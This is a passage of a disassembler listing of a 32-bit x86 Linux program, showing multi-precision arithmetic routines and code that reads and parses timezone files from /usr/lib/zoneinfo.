		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		jz	loc_8059D3C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8059C70:				; CODE XREF: sub_8059938+2D0j
					; sub_8059938+38Fj
		mov	esi, [ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		jnz	short loc_8059C70
		jmp	short loc_8059D3C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059CCC:				; CODE XREF: sub_8059938+2B3j
					; sub_8059938+2ECj ...
		cmp	[ebp+var_10], ebx
		jz	short loc_8059D3C
		xor	ecx, ecx
		mov	edi, [ebp+var_C]
		dec	edi
		mov	[ebp+var_C], edi
		cmp	ecx, edi
		jge	short loc_8059D3C
		mov	eax, edi
		and	eax, 3
		jz	short loc_8059D10
		cmp	eax, 1
		jle	short loc_8059D01
		cmp	eax, 2
		jle	short loc_8059CF7
		mov	esi, [ebp+var_10]
		mov	eax, [esi]
		mov	[ebx], eax
		inc	ecx

loc_8059CF7:				; CODE XREF: sub_8059938+3B5j
		mov	edi, [ebp+var_10]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8059D01:				; CODE XREF: sub_8059938+3B0j
		mov	esi, [ebp+var_10]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_C], ecx
		jz	short loc_8059D3C

loc_8059D10:				; CODE XREF: sub_8059938+3ABj
					; sub_8059938+402j
		mov	edi, [ebp+var_10]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_C], ecx
		jnz	short loc_8059D10

loc_8059D3C:				; CODE XREF: sub_8059938+28Dj
					; sub_8059938+2BDj ...
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		jle	short loc_8059DAF
		mov	eax, [ebp+var_4]
		and	eax, 3
		jz	short loc_8059D80
		cmp	eax, 1
		jle	short loc_8059D6D
		cmp	eax, 2
		jle	short loc_8059D60
		mov	esi, [ebp+arg_C]
		mov	eax, [esi]
		mov	edi, [ebp+arg_0]
		mov	[edi], eax
		inc	ecx

loc_8059D60:				; CODE XREF: sub_8059938+41Bj
		mov	esi, [ebp+arg_C]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx

loc_8059D6D:				; CODE XREF: sub_8059938+416j
		mov	esi, [ebp+arg_C]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_4], ecx
		jz	short loc_8059DAF
		nop

loc_8059D80:				; CODE XREF: sub_8059938+411j
					; sub_8059938+475j
		mov	esi, [ebp+arg_C]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		add	ecx, 4
		cmp	[ebp+var_4], ecx
		jnz	short loc_8059D80

loc_8059DAF:				; CODE XREF: sub_8059938+409j
					; sub_8059938+445j
		mov	esi, [ebp+var_4]
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_C]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_0]
		push	eax
		push	eax
		call	sub_8066380
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_8059F40
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		mov	[ebp+var_C], edi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_10], edi
		lea	eax, [edx+1]
		mov	[ebx], eax
		mov	ebx, [ebp+var_10]
		cmp	eax, edx
		jnb	loc_8059ED0
		dec	[ebp+var_C]
		jz	loc_8059F40
		mov	eax, [ebp+var_C]
		neg	eax
		and	eax, 3
		cmp	[ebp+var_C], 0
		jle	short loc_8059E53
		test	eax, eax
		jz	short loc_8059E74
		cmp	eax, 3
		jge	short loc_8059E53
		cmp	eax, 2
		jge	short loc_8059E37
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_10]
		test	edx, edx
		jnz	loc_8059ED0
		dec	[ebp+var_C]

loc_8059E37:				; CODE XREF: sub_8059938+4E4j
		mov	edi, [ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	loc_8059ED0
		dec	[ebp+var_C]

loc_8059E53:				; CODE XREF: sub_8059938+4D6j
					; sub_8059938+4DFj
		mov	esi, [ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		jz	loc_8059F40
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8059E74:				; CODE XREF: sub_8059938+4DAj
					; sub_8059938+593j
		mov	edi, [ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		jnz	short loc_8059E74
		jmp	short loc_8059F40
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059ED0:				; CODE XREF: sub_8059938+4BBj
					; sub_8059938+4F6j ...
		cmp	[ebp+var_10], ebx
		jz	short loc_8059F40
		xor	ecx, ecx
		mov	esi, [ebp+var_C]
		dec	esi
		mov	[ebp+var_C], esi
		cmp	ecx, esi
		jge	short loc_8059F40
		mov	eax, esi
		and	eax, 3
		jz	short loc_8059F14
		cmp	eax, 1
		jle	short loc_8059F05
		cmp	eax, 2
		jle	short loc_8059EFB
		mov	edi, [ebp+var_10]
		mov	eax, [edi]
		mov	[ebx], eax
		inc	ecx

loc_8059EFB:				; CODE XREF: sub_8059938+5B9j
		mov	esi, [ebp+var_10]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8059F05:				; CODE XREF: sub_8059938+5B4j
		mov	edi, [ebp+var_10]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_C], ecx
		jz	short loc_8059F40

loc_8059F14:				; CODE XREF: sub_8059938+5AFj
					; sub_8059938+606j
		mov	esi, [ebp+var_10]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_C], ecx
		jnz	short loc_8059F14

loc_8059F40:				; CODE XREF: sub_8059938+78j
					; sub_8059938+497j ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8059938	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8059F4C	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		cmp	ebx, ecx
		jnz	short loc_8059F84
		cmp	edx, 1Fh
		jg	short loc_8059F70
		push	edx
		push	ebx
		push	esi
		call	sub_805971C
		jmp	short loc_8059FA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059F70:				; CODE XREF: sub_8059F4C+18j
		lea	eax, ds:0[edx*8]
		sub	esp, eax
		push	esp
		push	edx
		push	ebx
		push	esi
		call	sub_8059938
		jmp	short loc_8059FA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059F84:				; CODE XREF: sub_8059F4C+13j
		cmp	edx, 1Fh
		jg	short loc_8059F94
		push	edx
		push	ecx
		push	ebx
		push	esi
		call	sub_8058E20
		jmp	short loc_8059FA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059F94:				; CODE XREF: sub_8059F4C+3Bj
		lea	eax, ds:0[edx*8]
		sub	esp, eax
		push	esp
		push	edx
		push	ecx
		push	ebx
		push	esi
		call	sub_8059048

loc_8059FA7:				; CODE XREF: sub_8059F4C+22j
					; sub_8059F4C+36j ...
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8059F4C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8059FB0	proc near		; CODE XREF: sub_8053310+B56p
					; sub_8053310+B73p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		lea	edi, [edi+edx*4-4]
		lea	esi, [esi+edx*4]
		neg	edx
		mov	ebx, [esi+edx*4]
		xor	eax, eax
		shrd	eax, ebx, cl
		inc	edx
		jz	short loc_8059FFD
		push	eax
		test	dl, 1
		jnz	short loc_8059FEA
		mov	eax, ebx
		lea	esi, [esi]

loc_8059FE0:				; CODE XREF: sub_8059FB0+44j
		mov	ebx, [esi+edx*4]
		shrd	eax, ebx, cl
		mov	[edi+edx*4], eax
		inc	edx

loc_8059FEA:				; CODE XREF: sub_8059FB0+2Aj
		mov	eax, [esi+edx*4]
		shrd	ebx, eax, cl
		mov	[edi+edx*4], ebx
		inc	edx
		jnz	short loc_8059FE0
		shr	eax, cl
		mov	[edi], eax
		pop	eax
		jmp	short loc_805A001
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059FFD:				; CODE XREF: sub_8059FB0+24j
		shr	ebx, cl
		mov	[edi], ebx

loc_805A001:				; CODE XREF: sub_8059FB0+4Bj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8059FB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 5 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A010	proc near		; CODE XREF: sub_8058094+498p
					; sub_8059048+129p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	eax, ecx
		shr	ecx, 3
		neg	eax
		and	eax, 7
		jz	short loc_805A050
		inc	ecx
		shl	eax, 2
		sub	edi, eax
		sub	esi, eax
		sub	edx, eax
		shr	eax, 2
		lea	eax, (byte_805A043+0Ah)[eax+eax*8]
		jmp	eax
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_805A043	db 8Dh,	0B6h, 4	dup(0),	8Dh, 0B4h, 26h,	4 dup(0)
					; DATA XREF: sub_805A010+2Ar
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A050:				; CODE XREF: sub_805A010+1Bj
					; sub_805A010+8Fj
		mov	eax, [esi]
		sbb	eax, [edx]
		mov	[edi], eax
		mov	eax, [esi+4]
		sbb	eax, [edx+4]
		mov	[edi+4], eax
		mov	eax, [esi+8]
		sbb	eax, [edx+8]
		mov	[edi+8], eax
		mov	eax, [esi+0Ch]
		sbb	eax, [edx+0Ch]
		mov	[edi+0Ch], eax
		mov	eax, [esi+10h]
		sbb	eax, [edx+10h]
		mov	[edi+10h], eax
		mov	eax, [esi+14h]
		sbb	eax, [edx+14h]
		mov	[edi+14h], eax
		mov	eax, [esi+18h]
		sbb	eax, [edx+18h]
		mov	[edi+18h], eax
		mov	eax, [esi+1Ch]
		sbb	eax, [edx+1Ch]
		mov	[edi+1Ch], eax
		lea	edi, [edi+20h]
		lea	esi, [esi+20h]
		lea	edx, [edx+20h]
		dec	ecx
		jnz	short loc_805A050
		sbb	eax, eax
		neg	eax
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A010	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A0B0	proc near		; CODE XREF: sub_8058094+547p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	ebp
		lea	edi, [edi+ecx*4]
		lea	esi, [esi+ecx*4]
		neg	ecx
		xor	edx, edx

loc_805A0CD:				; CODE XREF: sub_805A0B0+30j
		mov	ebp, edx
		mov	eax, [esi+ecx*4]
		mul	ebx
		add	eax, ebp
		adc	edx, 0
		sub	[edi+ecx*4], eax
		adc	edx, 0
		inc	ecx
		jnz	short loc_805A0CD
		mov	eax, edx
		pop	ebp
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A0B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A0F0	proc near		; CODE XREF: sub_805A254+E8p
					; sub_805A254+FAp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx]
		shl	eax, 8
		movzx	edx, byte ptr [ecx+1]
		or	eax, edx
		mov	edx, eax
		shl	edx, 8
		movzx	eax, byte ptr [ecx+2]
		or	eax, edx
		mov	edx, eax
		shl	edx, 8
		movzx	eax, byte ptr [ecx+3]
		or	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_805A0F0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A11C	proc near		; CODE XREF: sub_805AF5C+A8p
					; sub_805B010+2Dp

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	dword_8078B1C, offset unk_8068EA4
		mov	dword_8078B20, offset unk_8068EA4
		mov	dword_8078B28, 0
		mov	dword_8078B24, 0
		mov	dword_8078B2C, 0
		xor	ecx, ecx
		cmp	ds:dword_807B0E8, ecx
		jle	short loc_805A1C4
		mov	ebx, offset dword_807B82C
		mov	edx, offset unk_807B830
		xor	esi, esi
		lea	esi, [esi]

loc_805A16C:				; CODE XREF: sub_805A11C+A6j
		mov	eax, [edx]
		mov	edi, ds:dword_807B834[esi]
		add	edi, offset unk_807C82C
		mov	dword_8078B1C[eax*4], edi
		cmp	dword ptr [edx], 0
		jz	short loc_805A190
		mov	dword_8078B28, 1

loc_805A190:				; CODE XREF: sub_805A11C+68j
		test	ecx, ecx
		jz	short loc_805A199
		cmp	dword ptr [edx], 0
		jnz	short loc_805A1A8

loc_805A199:				; CODE XREF: sub_805A11C+76j
		mov	edi, [ebx]
		neg	edi
		mov	dword_8078B24, edi
		cmp	dword ptr [edx], 0
		jz	short loc_805A1B2

loc_805A1A8:				; CODE XREF: sub_805A11C+7Bj
		mov	edi, [ebx]
		neg	edi
		mov	dword_8078B2C, edi

loc_805A1B2:				; CODE XREF: sub_805A11C+8Aj
		add	ebx, 10h
		add	edx, 10h
		add	esi, 10h
		inc	ecx
		cmp	ds:dword_807B0E8, ecx
		jg	short loc_805A16C

loc_805A1C4:				; CODE XREF: sub_805A11C+40j
		push	0
		call	time
		lea	esi, [eax+1E28500h]
		xor	ecx, ecx
		cmp	ds:dword_807B0E4, ecx
		jle	short loc_805A247
		mov	ebx, offset dword_807B0E0

loc_805A1E0:				; CODE XREF: sub_805A11C+129j
		cmp	[ebx+ecx*4+10h], esi
		jg	short loc_805A23E
		movzx	eax, byte ptr [ebx+ecx+5D8h]
		shl	eax, 4
		lea	edx, dword_807B82C[eax]
		mov	eax, [edx+4]
		mov	edi, [edx+8]
		add	edi, offset unk_807C82C
		mov	dword_8078B1C[eax*4], edi
		cmp	dword ptr [edx+4], 0
		jz	short loc_805A21A
		mov	dword_8078B28, 1

loc_805A21A:				; CODE XREF: sub_805A11C+F2j
		test	ecx, ecx
		jz	short loc_805A224
		cmp	dword ptr [edx+4], 0
		jnz	short loc_805A234

loc_805A224:				; CODE XREF: sub_805A11C+100j
		mov	edi, [edx]
		neg	edi
		mov	dword_8078B24, edi
		cmp	dword ptr [edx+4], 0
		jz	short loc_805A23E

loc_805A234:				; CODE XREF: sub_805A11C+106j
		mov	edx, [edx]
		neg	edx
		mov	dword_8078B2C, edx

loc_805A23E:				; CODE XREF: sub_805A11C+C8j
					; sub_805A11C+116j
		inc	ecx
		cmp	ds:dword_807B0E4, ecx
		jg	short loc_805A1E0

loc_805A247:				; CODE XREF: sub_805A11C+BDj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A11C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A254	proc near		; CODE XREF: sub_805AAC0+7Bp
					; sub_805AF2C+Dp ...

var_1D5C	= byte ptr -1D5Ch
var_1D50	= dword	ptr -1D50h
var_1D4C	= dword	ptr -1D4Ch
var_1D48	= dword	ptr -1D48h
var_1D44	= dword	ptr -1D44h
var_1D40	= byte ptr -1D40h
var_1D28	= byte ptr -1D28h
var_1D24	= byte ptr -1D24h
var_1D20	= byte ptr -1D20h
var_1D1C	= byte ptr -1D1Ch
var_1D18	= byte ptr -1D18h
var_1D14	= byte ptr -1D14h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1D50h
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jnz	short loc_805A277
		mov	[ebp+arg_0], offset aLocaltime ; "localtime"
		cmp	[ebp+arg_0], 0
		jz	loc_805A3EF

loc_805A277:				; CODE XREF: sub_805A254+10j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx],	3Ah
		jnz	short loc_805A283
		inc	edx
		mov	[ebp+arg_0], edx

loc_805A283:				; CODE XREF: sub_805A254+29j
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	2Fh
		jz	short loc_805A2EE
		mov	esi, offset aUsrLibZoneinfo ; "/usr/lib/zoneinfo"
		test	esi, esi
		jz	loc_805A3EF
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	eax, [edx+eax-1]
		cmp	eax, 400h
		ja	loc_805A3EF
		push	esi
		lea	ebx, [ebp+var_404]
		push	ebx
		call	strcpy
		push	offset asc_8068EC4 ; "/"
		push	ebx
		call	sub_80577C0
		mov	edx, [ebp+arg_0]
		push	edx
		push	ebx
		call	sub_80577C0
		mov	[ebp+arg_0], ebx
		add	esp, 18h

loc_805A2EE:				; CODE XREF: sub_805A254+35j
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	open
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		jz	loc_805A3EF
		push	193Ch
		lea	eax, [ebp+var_1D40]
		push	eax
		push	ebx
		call	read
		mov	edi, eax
		push	ebx
		call	close
		add	esp, 10h
		test	eax, eax
		jnz	loc_805A3EF
		cmp	edi, 2Bh
		jbe	loc_805A3EF
		lea	eax, [ebp+var_1D28]
		push	eax
		call	sub_805A0F0
		mov	[ebp+var_1D44],	eax
		lea	eax, [ebp+var_1D24]
		push	eax
		call	sub_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx], eax
		lea	eax, [ebp+var_1D20]
		push	eax
		call	sub_805A0F0
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		lea	eax, [ebp+var_1D1C]
		push	eax
		call	sub_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx+8], eax
		lea	eax, [ebp+var_1D18]
		push	eax
		call	sub_805A0F0
		mov	ebx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], ebx
		add	esp, 14h
		cmp	dword ptr [ecx], 32h
		ja	short loc_805A3EF
		mov	eax, [ecx+8]
		dec	eax
		cmp	eax, 0FFh
		ja	short loc_805A3EF
		cmp	dword ptr [ecx+4], 172h
		ja	short loc_805A3EF
		cmp	ebx, 32h
		ja	short loc_805A3EF
		mov	edx, [ebp+var_1D44]
		cmp	[ecx+8], edx
		jz	short loc_805A3C0
		test	edx, edx
		jnz	short loc_805A3EF

loc_805A3C0:				; CODE XREF: sub_805A254+166j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+4]
		lea	ebx, [eax+eax*4]
		mov	eax, [ecx+8]
		lea	esi, [eax+eax*4]
		lea	eax, [eax+esi+2Ch]
		add	eax, ebx
		add	eax, [ecx+0Ch]
		mov	edx, [ecx]
		shl	edx, 3
		mov	[ebp+var_1D50],	edx
		add	eax, edx
		add	eax, [ebp+var_1D44]
		cmp	edi, eax
		jnb	short loc_805A3FC

loc_805A3EF:				; CODE XREF: sub_805A254+1Dj
					; sub_805A254+3Ej ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_805A577
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A3FC:				; CODE XREF: sub_805A254+199j
		lea	esi, [ebp+var_1D14]
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+4], edi
		jle	short loc_805A425

loc_805A40C:				; CODE XREF: sub_805A254+1CFj
		push	esi
		call	sub_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx+edi*4+10h], eax
		add	esi, 4
		add	esp, 4
		inc	edi
		cmp	[edx+4], edi
		jg	short loc_805A40C

loc_805A425:				; CODE XREF: sub_805A254+1B6j
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+4], edi
		jle	short loc_805A450
		nop

loc_805A430:				; CODE XREF: sub_805A254+1FAj
		mov	al, [esi]
		mov	edx, [ebp+arg_4]
		mov	[edi+edx+5D8h],	al
		inc	esi
		movzx	eax, byte ptr [edi+edx+5D8h]
		cmp	[edx+8], eax
		jle	short loc_805A3EF
		inc	edi
		cmp	[edx+4], edi
		jg	short loc_805A430

loc_805A450:				; CODE XREF: sub_805A254+1D9j
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jle	short loc_805A4B6
		mov	[ebp+var_1D4C],	74Ch

loc_805A464:				; CODE XREF: sub_805A254+260j
		mov	ebx, [ebp+arg_4]
		add	ebx, [ebp+var_1D4C]
		push	esi
		call	sub_805A0F0
		mov	[ebx], eax
		add	esi, 4
		movzx	eax, byte ptr [esi]
		mov	[ebx+4], eax
		inc	esi
		add	esp, 4
		cmp	eax, 1
		ja	loc_805A3EF
		movzx	eax, byte ptr [esi]
		mov	[ebx+8], eax
		inc	esi
		test	eax, eax
		jl	loc_805A3EF
		mov	edx, [ebp+arg_4]
		cmp	[edx+0Ch], eax
		jl	loc_805A3EF
		add	[ebp+var_1D4C],	10h
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jg	short loc_805A464

loc_805A4B6:				; CODE XREF: sub_805A254+204j
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+0Ch], edi
		jle	short loc_805A4D3

loc_805A4C0:				; CODE XREF: sub_805A254+27Dj
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		mov	[edi+ecx+174Ch], al
		inc	esi
		inc	edi
		cmp	[ecx+0Ch], edi
		jg	short loc_805A4C0

loc_805A4D3:				; CODE XREF: sub_805A254+26Aj
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edi+edx+174Ch], 0
		xor	edi, edi
		cmp	[edx], edi
		jle	short loc_805A522
		mov	[ebp+var_1D48],	1780h
		lea	esi, [esi]

loc_805A4F0:				; CODE XREF: sub_805A254+2CCj
		mov	ebx, [ebp+arg_4]
		add	ebx, [ebp+var_1D48]
		push	esi
		call	sub_805A0F0
		mov	[ebx], eax
		add	esi, 4
		push	esi
		call	sub_805A0F0
		mov	[ebx+4], eax
		add	esi, 4
		add	esp, 8
		add	[ebp+var_1D48],	8
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx], edi
		jg	short loc_805A4F0

loc_805A522:				; CODE XREF: sub_805A254+28Ej
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+8], edi
		jle	short loc_805A575
		mov	ebx, 74Ch
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805A534:				; CODE XREF: sub_805A254+31Fj
		mov	ecx, [ebp+arg_4]
		add	ecx, ebx
		mov	[ebp+var_1D50],	ecx
		cmp	[ebp+var_1D44],	0
		jz	short loc_805A55C
		movzx	eax, byte ptr [esi]
		mov	[ecx+0Ch], eax
		inc	esi
		cmp	eax, 1
		jbe	short loc_805A569
		jmp	loc_805A3EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A55C:				; CODE XREF: sub_805A254+2F2j
		mov	edx, [ebp+var_1D50]
		mov	dword ptr [edx+0Ch], 0

loc_805A569:				; CODE XREF: sub_805A254+2FEj
		add	ebx, 10h
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
